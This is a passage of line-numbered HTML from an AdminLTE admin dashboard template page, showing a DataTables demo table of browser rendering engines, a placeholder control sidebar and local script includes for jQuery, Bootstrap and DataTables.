<div class="box-body">
966:
<table id="example1" class="table table-bordered table-striped">
967:
<thead>
968:
<tr>
969:
<th>Rendering engine</th>
970:
<th>Browser</th>
971:
<th>Platform(s)</th>
972:
<th>Engine version</th>
973:
<th>CSS grade</th>
974:
</tr>
975:
</thead>
976:
<tbody>
977:
<tr>
978:
<td>Trident</td>
979:
<td>Internet
980:
Explorer 4.0
981:
</td>
982:
<td>Win 95+</td>
983:
<td> 4</td>
984:
<td>X</td>
985:
</tr>
986:
<tr>
987:
<td>Trident</td>
988:
<td>Internet
989:
Explorer 5.0
990:
</td>
991:
<td>Win 95+</td>
992:
<td>5</td>
993:
<td>C</td>
994:
</tr>
995:
<tr>
996:
<td>Trident</td>
997:
<td>Internet
998:
Explorer 5.5
999:
</td>
000:
<td>Win 95+</td>
001:
<td>5.5</td>
002:
<td>A</td>
003:
</tr>
004:
<tr>
005:
<td>Trident</td>
006:
<td>Internet
007:
Explorer 6
008:
</td>
009:
<td>Win 98+</td>
010:
<td>6</td>
011:
<td>A</td>
012:
</tr>
013:
<tr>
014:
<td>Trident</td>
015:
<td>Internet Explorer 7</td>
016:
<td>Win XP SP2+</td>
017:
<td>7</td>
018:
<td>A</td>
019:
</tr>
020:
<tr>
021:
<td>Trident</td>
022:
<td>AOL browser (AOL desktop)</td>
023:
<td>Win XP</td>
024:
<td>6</td>
025:
<td>A</td>
026:
</tr>
027:
<tr>
028:
<td>Gecko</td>
029:
<td>Firefox 1.0</td>
030:
<td>Win 98+ / OSX.2+</td>
031:
<td>1.7</td>
032:
<td>A</td>
033:
</tr>
034:
<tr>
035:
<td>Gecko</td>
036:
<td>Firefox 1.5</td>
037:
<td>Win 98+ / OSX.2+</td>
038:
<td>1.8</td>
039:
<td>A</td>
040:
</tr>
041:
<tr>
042:
<td>Gecko</td>
043:
<td>Firefox 2.0</td>
044:
<td>Win 98+ / OSX.2+</td>
045:
<td>1.8</td>
046:
<td>A</td>
047:
</tr>
048:
<tr>
049:
<td>Gecko</td>
050:
<td>Firefox 3.0</td>
051:
<td>Win 2k+ / OSX.3+</td>
052:
<td>1.9</td>
053:
<td>A</td>
054:
</tr>
055:
<tr>
056:
<td>Gecko</td>
057:
<td>Camino 1.0</td>
058:
<td>OSX.2+</td>
059:
<td>1.8</td>
060:
<td>A</td>
061:
</tr>
062:
<tr>
063:
<td>Gecko</td>
064:
<td>Camino 1.5</td>
065:
<td>OSX.3+</td>
066:
<td>1.8</td>
067:
<td>A</td>
068:
</tr>
069:
<tr>
070:
<td>Gecko</td>
071:
<td>Netscape 7.2</td>
072:
<td>Win 95+ / Mac OS 8.6-9.2</td>
073:
<td>1.7</td>
074:
<td>A</td>
075:
</tr>
076:
<tr>
077:
<td>Gecko</td>
078:
<td>Netscape Browser 8</td>
079:
<td>Win 98SE+</td>
080:
<td>1.7</td>
081:
<td>A</td>
082:
</tr>
083:
<tr>
084:
<td>Gecko</td>
085:
<td>Netscape Navigator 9</td>
086:
<td>Win 98+ / OSX.2+</td>
087:
<td>1.8</td>
088:
<td>A</td>
089:
</tr>
090:
<tr>
091:
<td>Gecko</td>
092:
<td>Mozilla 1.0</td>
093:
<td>Win 95+ / OSX.1+</td>
094:
<td>1</td>
095:
<td>A</td>
096:
</tr>
097:
<tr>
098:
<td>Gecko</td>
099:
<td>Mozilla 1.1</td>
100:
<td>Win 95+ / OSX.1+</td>
101:
<td>1.1</td>
102:
<td>A</td>
103:
</tr>
104:
<tr>
105:
<td>Gecko</td>
106:
<td>Mozilla 1.2</td>
107:
<td>Win 95+ / OSX.1+</td>
108:
<td>1.2</td>
109:
<td>A</td>
110:
</tr>
111:
<tr>
112:
<td>Gecko</td>
113:
<td>Mozilla 1.3</td>
114:
<td>Win 95+ / OSX.1+</td>
115:
<td>1.3</td>
116:
<td>A</td>
117:
</tr>
118:
<tr>
119:
<td>Gecko</td>
120:
<td>Mozilla 1.4</td>
121:
<td>Win 95+ / OSX.1+</td>
122:
<td>1.4</td>
123:
<td>A</td>
124:
</tr>
125:
<tr>
126:
<td>Gecko</td>
127:
<td>Mozilla 1.5</td>
128:
<td>Win 95+ / OSX.1+</td>
129:
<td>1.5</td>
130:
<td>A</td>
131:
</tr>
132:
<tr>
133:
<td>Gecko</td>
134:
<td>Mozilla 1.6</td>
135:
<td>Win 95+ / OSX.1+</td>
136:
<td>1.6</td>
137:
<td>A</td>
138:
</tr>
139:
<tr>
140:
<td>Gecko</td>
141:
<td>Mozilla 1.7</td>
142:
<td>Win 98+ / OSX.1+</td>
143:
<td>1.7</td>
144:
<td>A</td>
145:
</tr>
146:
<tr>
147:
<td>Gecko</td>
148:
<td>Mozilla 1.8</td>
149:
<td>Win 98+ / OSX.1+</td>
150:
<td>1.8</td>
151:
<td>A</td>
152:
</tr>
153:
<tr>
154:
<td>Gecko</td>
155:
<td>Seamonkey 1.1</td>
156:
<td>Win 98+ / OSX.2+</td>
157:
<td>1.8</td>
158:
<td>A</td>
159:
</tr>
160:
<tr>
161:
<td>Gecko</td>
162:
<td>Epiphany 2.20</td>
163:
<td>Gnome</td>
164:
<td>1.8</td>
165:
<td>A</td>
166:
</tr>
167:
<tr>
168:
<td>Webkit</td>
169:
<td>Safari 1.2</td>
170:
<td>OSX.3</td>
171:
<td>125.5</td>
172:
<td>A</td>
173:
</tr>
174:
<tr>
175:
<td>Webkit</td>
176:
<td>Safari 1.3</td>
177:
<td>OSX.3</td>
178:
<td>312.8</td>
179:
<td>A</td>
180:
</tr>
181:
<tr>
182:
<td>Webkit</td>
183:
<td>Safari 2.0</td>
184:
<td>OSX.4+</td>
185:
<td>419.3</td>
186:
<td>A</td>
187:
</tr>
188:
<tr>
189:
<td>Webkit</td>
190:
<td>Safari 3.0</td>
191:
<td>OSX.4+</td>
192:
<td>522.1</td>
193:
<td>A</td>
194:
</tr>
195:
<tr>
196:
<td>Webkit</td>
197:
<td>OmniWeb 5.5</td>
198:
<td>OSX.4+</td>
199:
<td>420</td>
200:
<td>A</td>
201:
</tr>
202:
<tr>
203:
<td>Webkit</td>
204:
<td>iPod Touch / iPhone</td>
205:
<td>iPod</td>
206:
<td>420.1</td>
207:
<td>A</td>
208:
</tr>
209:
<tr>
210:
<td>Webkit</td>
211:
<td>S60</td>
212:
<td>S60</td>
213:
<td>413</td>
214:
<td>A</td>
215:
</tr>
216:
<tr>
217:
<td>Presto</td>
218:
<td>Opera 7.0</td>
219:
<td>Win 95+ / OSX.1+</td>
220:
<td>-</td>
221:
<td>A</td>
222:
</tr>
223:
<tr>
224:
<td>Presto</td>
225:
<td>Opera 7.5</td>
226:
<td>Win 95+ / OSX.2+</td>
227:
<td>-</td>
228:
<td>A</td>
229:
</tr>
230:
<tr>
231:
<td>Presto</td>
232:
<td>Opera 8.0</td>
233:
<td>Win 95+ / OSX.2+</td>
234:
<td>-</td>
235:
<td>A</td>
236:
</tr>
237:
<tr>
238:
<td>Presto</td>
239:
<td>Opera 8.5</td>
240:
<td>Win 95+ / OSX.2+</td>
241:
<td>-</td>
242:
<td>A</td>
243:
</tr>
244:
<tr>
245:
<td>Presto</td>
246:
<td>Opera 9.0</td>
247:
<td>Win 95+ / OSX.3+</td>
248:
<td>-</td>
249:
<td>A</td>
250:
</tr>
251:
<tr>
252:
<td>Presto</td>
253:
<td>Opera 9.2</td>
254:
<td>Win 88+ / OSX.3+</td>
255:
<td>-</td>
256:
<td>A</td>
257:
</tr>
258:
<tr>
259:
<td>Presto</td>
260:
<td>Opera 9.5</td>
261:
<td>Win 88+ / OSX.3+</td>
262:
<td>-</td>
263:
<td>A</td>
264:
</tr>
265:
<tr>
266:
<td>Presto</td>
267:
<td>Opera for Wii</td>
268:
<td>Wii</td>
269:
<td>-</td>
270:
<td>A</td>
271:
</tr>
272:
<tr>
273:
<td>Presto</td>
274:
<td>Nokia N800</td>
275:
<td>N800</td>
276:
<td>-</td>
277:
<td>A</td>
278:
</tr>
279:
<tr>
280:
<td>Presto</td>
281:
<td>Nintendo DS browser</td>
282:
<td>Nintendo DS</td>
283:
<td>8.5</td>
284:
<td>C/A<sup>1</sup></td>
285:
</tr>
286:
<tr>
287:
<td>KHTML</td>
288:
<td>Konqureror 3.1</td>
289:
<td>KDE 3.1</td>
290:
<td>3.1</td>
291:
<td>C</td>
292:
</tr>
293:
<tr>
294:
<td>KHTML</td>
295:
<td>Konqureror 3.3</td>
296:
<td>KDE 3.3</td>
297:
<td>3.3</td>
298:
<td>A</td>
299:
</tr>
300:
<tr>
301:
<td>KHTML</td>
302:
<td>Konqureror 3.5</td>
303:
<td>KDE 3.5</td>
304:
<td>3.5</td>
305:
<td>A</td>
306:
</tr>
307:
<tr>
308:
<td>Tasman</td>
309:
<td>Internet Explorer 4.5</td>
310:
<td>Mac OS 8-9</td>
311:
<td>-</td>
312:
<td>X</td>
313:
</tr>
314:
<tr>
315:
<td>Tasman</td>
316:
<td>Internet Explorer 5.1</td>
317:
<td>Mac OS 7.6-9</td>
318:
<td>1</td>
319:
<td>C</td>
320:
</tr>
321:
<tr>
322:
<td>Tasman</td>
323:
<td>Internet Explorer 5.2</td>
324:
<td>Mac OS 8-X</td>
325:
<td>1</td>
326:
<td>C</td>
327:
</tr>
328:
<tr>
329:
<td>Misc</td>
330:
<td>NetFront 3.1</td>
331:
<td>Embedded devices</td>
332:
<td>-</td>
333:
<td>C</td>
334:
</tr>
335:
<tr>
336:
<td>Misc</td>
337:
<td>NetFront 3.4</td>
338:
<td>Embedded devices</td>
339:
<td>-</td>
340:
<td>A</td>
341:
</tr>
342:
<tr>
343:
<td>Misc</td>
344:
<td>Dillo 0.8</td>
345:
<td>Embedded devices</td>
346:
<td>-</td>
347:
<td>X</td>
348:
</tr>
349:
<tr>
350:
<td>Misc</td>
351:
<td>Links</td>
352:
<td>Text only</td>
353:
<td>-</td>
354:
<td>X</td>
355:
</tr>
356:
<tr>
357:
<td>Misc</td>
358:
<td>Lynx</td>
359:
<td>Text only</td>
360:
<td>-</td>
361:
<td>X</td>
362:
</tr>
363:
<tr>
364:
<td>Misc</td>
365:
<td>IE Mobile</td>
366:
<td>Windows Mobile 6</td>
367:
<td>-</td>
368:
<td>C</td>
369:
</tr>
370:
<tr>
371:
<td>Misc</td>
372:
<td>PSP browser</td>
373:
<td>PSP</td>
374:
<td>-</td>
375:
<td>C</td>
376:
</tr>
377:
<tr>
378:
<td>Other browsers</td>
379:
<td>All others</td>
380:
<td>-</td>
381:
<td>-</td>
382:
<td>U</td>
383:
</tr>
384:
</tbody>
385:
<tfoot>
386:
<tr>
387:
<th>Rendering engine</th>
388:
<th>Browser</th>
389:
<th>Platform(s)</th>
390:
<th>Engine version</th>
391:
<th>CSS grade</th>
392:
</tr>
393:
</tfoot>
394:
</table>
395:
</div>
396:
<!-- /.box-body -->
397:
</div>
398:
<!-- /.box -->
399:
</div>
400:
<!-- /.col -->
401:
</div>
402:
<!-- /.row -->
403:
</section>
404:
<!-- /.content -->
405:
</div>
406:
<!-- /.content-wrapper -->
407:
<footer class="main-footer">
408:
<div class="pull-right hidden-xs">
409:
<b>Version</b> 2.4.0
410:
</div>
411:
<strong>Copyright © 2014-2016 <a href="https://adminlte.io">Almsaeed Studio</a>.</strong> All rights
412:
reserved.
413:
</footer>
414:
415:
<!-- Control Sidebar -->
416:
<aside class="control-sidebar control-sidebar-dark">
417:
<!-- Create the tabs -->
418:
<ul class="nav nav-tabs nav-justified control-sidebar-tabs">
419:
<li><a href="#control-sidebar-home-tab" data-toggle="tab"><i class="fa fa-home"></i></a></li>
420:
<li><a href="#control-sidebar-settings-tab" data-toggle="tab"><i class="fa fa-gears"></i></a></li>
421:
</ul>
422:
<!-- Tab panes -->
423:
<div class="tab-content">
424:
<!-- Home tab content -->
425:
<div class="tab-pane" id="control-sidebar-home-tab">
426:
<h3 class="control-sidebar-heading">Recent Activity</h3>
427:
<ul class="control-sidebar-menu">
428:
<li>
429:
<a href="javascript:void(0)">
430:
<i class="menu-icon fa fa-birthday-cake bg-red"></i>
431:
432:
<div class="menu-info">
433:
<h4 class="control-sidebar-subheading">Langdon's Birthday</h4>
434:
435:
<p>Will be 23 on April 24th</p>
436:
</div>
437:
</a>
438:
</li>
439:
<li>
440:
<a href="javascript:void(0)">
441:
<i class="menu-icon fa fa-user bg-yellow"></i>
442:
443:
<div class="menu-info">
444:
<h4 class="control-sidebar-subheading">Frodo Updated His Profile</h4>
445:
446:
<p>New phone +1(800)555-1234</p>
447:
</div>
448:
</a>
449:
</li>
450:
<li>
451:
<a href="javascript:void(0)">
452:
<i class="menu-icon fa fa-envelope-o bg-light-blue"></i>
453:
454:
<div class="menu-info">
455:
<h4 class="control-sidebar-subheading">Nora Joined Mailing List</h4>
456:
457:
<p>nora@example.com</p>
458:
</div>
459:
</a>
460:
</li>
461:
<li>
462:
<a href="javascript:void(0)">
463:
<i class="menu-icon fa fa-file-code-o bg-green"></i>
464:
465:
<div class="menu-info">
466:
<h4 class="control-sidebar-subheading">Cron Job 254 Executed</h4>
467:
468:
<p>Execution time 5 seconds</p>
469:
</div>
470:
</a>
471:
</li>
472:
</ul>
473:
<!-- /.control-sidebar-menu -->
474:
475:
<h3 class="control-sidebar-heading">Tasks Progress</h3>
476:
<ul class="control-sidebar-menu">
477:
<li>
478:
<a href="javascript:void(0)">
479:
<h4 class="control-sidebar-subheading">
480:
Custom Template Design
481:
<span class="label label-danger pull-right">70%</span>
482:
</h4>
483:
484:
<div class="progress progress-xxs">
485:
<div class="progress-bar progress-bar-danger" style="width: 70%"></div>
486:
</div>
487:
</a>
488:
</li>
489:
<li>
490:
<a href="javascript:void(0)">
491:
<h4 class="control-sidebar-subheading">
492:
Update Resume
493:
<span class="label label-success pull-right">95%</span>
494:
</h4>
495:
496:
<div class="progress progress-xxs">
497:
<div class="progress-bar progress-bar-success" style="width: 95%"></div>
498:
</div>
499:
</a>
500:
</li>
501:
<li>
502:
<a href="javascript:void(0)">
503:
<h4 class="control-sidebar-subheading">
504:
Laravel Integration
505:
<span class="label label-warning pull-right">50%</span>
506:
</h4>
507:
508:
<div class="progress progress-xxs">
509:
<div class="progress-bar progress-bar-warning" style="width: 50%"></div>
510:
</div>
511:
</a>
512:
</li>
513:
<li>
514:
<a href="javascript:void(0)">
515:
<h4 class="control-sidebar-subheading">
516:
Back End Framework
517:
<span class="label label-primary pull-right">68%</span>
518:
</h4>
519:
520:
<div class="progress progress-xxs">
521:
<div class="progress-bar progress-bar-primary" style="width: 68%"></div>
522:
</div>
523:
</a>
524:
</li>
525:
</ul>
526:
<!-- /.control-sidebar-menu -->
527:
528:
</div>
529:
<!-- /.tab-pane -->
530:
<!-- Stats tab content -->
531:
<div class="tab-pane" id="control-sidebar-stats-tab">Stats Tab Content</div>
532:
<!-- /.tab-pane -->
533:
<!-- Settings tab content -->
534:
<div class="tab-pane" id="control-sidebar-settings-tab">
535:
<form method="post">
536:
<h3 class="control-sidebar-heading">General Settings</h3>
537:
538:
<div class="form-group">
539:
<label class="control-sidebar-subheading">
540:
Report panel usage
541:
<input type="checkbox" class="pull-right" checked>
542:
</label>
543:
544:
<p>
545:
Some information about this general settings option
546:
</p>
547:
</div>
548:
<!-- /.form-group -->
549:
550:
<div class="form-group">
551:
<label class="control-sidebar-subheading">
552:
Allow mail redirect
553:
<input type="checkbox" class="pull-right" checked>
554:
</label>
555:
556:
<p>
557:
Other sets of options are available
558:
</p>
559:
</div>
560:
<!-- /.form-group -->
561:
562:
<div class="form-group">
563:
<label class="control-sidebar-subheading">
564:
Expose author name in posts
565:
<input type="checkbox" class="pull-right" checked>
566:
</label>
567:
568:
<p>
569:
Allow the user to show his name in blog posts
570:
</p>
571:
</div>
572:
<!-- /.form-group -->
573:
574:
<h3 class="control-sidebar-heading">Chat Settings</h3>
575:
576:
<div class="form-group">
577:
<label class="control-sidebar-subheading">
578:
Show me as online
579:
<input type="checkbox" class="pull-right" checked>
580:
</label>
581:
</div>
582:
<!-- /.form-group -->
583:
584:
<div class="form-group">
585:
<label class="control-sidebar-subheading">
586:
Turn off notifications
587:
<input type="checkbox" class="pull-right">
588:
</label>
589:
</div>
590:
<!-- /.form-group -->
591:
592:
<div class="form-group">
593:
<label class="control-sidebar-subheading">
594:
Delete chat history
595:
<a href="javascript:void(0)" class="text-red pull-right"><i class="fa fa-trash-o"></i></a>
596:
</label>
597:
</div>
598:
<!-- /.form-group -->
599:
</form>
600:
</div>
601:
<!-- /.tab-pane -->
602:
</div>
603:
</aside>
604:
<!-- /.control-sidebar -->
605:
<!-- Add the sidebar's background. This div must be placed
606:
immediately after the control sidebar -->
607:
<div class="control-sidebar-bg"></div>
608:
</div>
609:
<!-- ./wrapper -->
610:
611:
<!-- jQuery 3.1.1 -->
612:
<script src="../../plugins/jQuery/jquery-3.1.1.min.js"></script>
613:
<!-- Bootstrap 3.3.7 -->
614:
<script src="../../bootstrap/js/bootstrap.min.js"></script>
615:
<!-- DataTables -->
616:
<script src="../../plugins/datatables/jquery.dataTables.min.js"></script>
617:
<script src="../../plugins/datatables/dataTables.bootstrap.min.js"></script>
618:
<!-- SlimScroll -->
619:
<script src="../../plugins/slimScroll/jquery.slimscroll.min.js"></script>
620:
<!-- FastClick -->
621:
<script src="../../plugins/fastclick/fastclick.js"></script>
622:
<!-- AdminLTE App -->
623:
<script src="../../dist/js/adminlte.min.js"></script>
624:
<!-- AdminLTE for demo purposes -->
625:
<script src="../../dist/js/demo.js"></script>
626:
<!-- page script -->
627:
<script>
628:
$(function () {
629:
$("#example1").DataTable();
630:
$('#example2').DataTable({
631:
"paging": true,
632:
"lengthChange": false,
633:
"searching": false,
634:
"ordering": true,
635:
"info": true,
636:
"autoWidth": false
637:
});
638:
});
639:
</script>
640:
</body>
641:
</html>
642:
643:
644: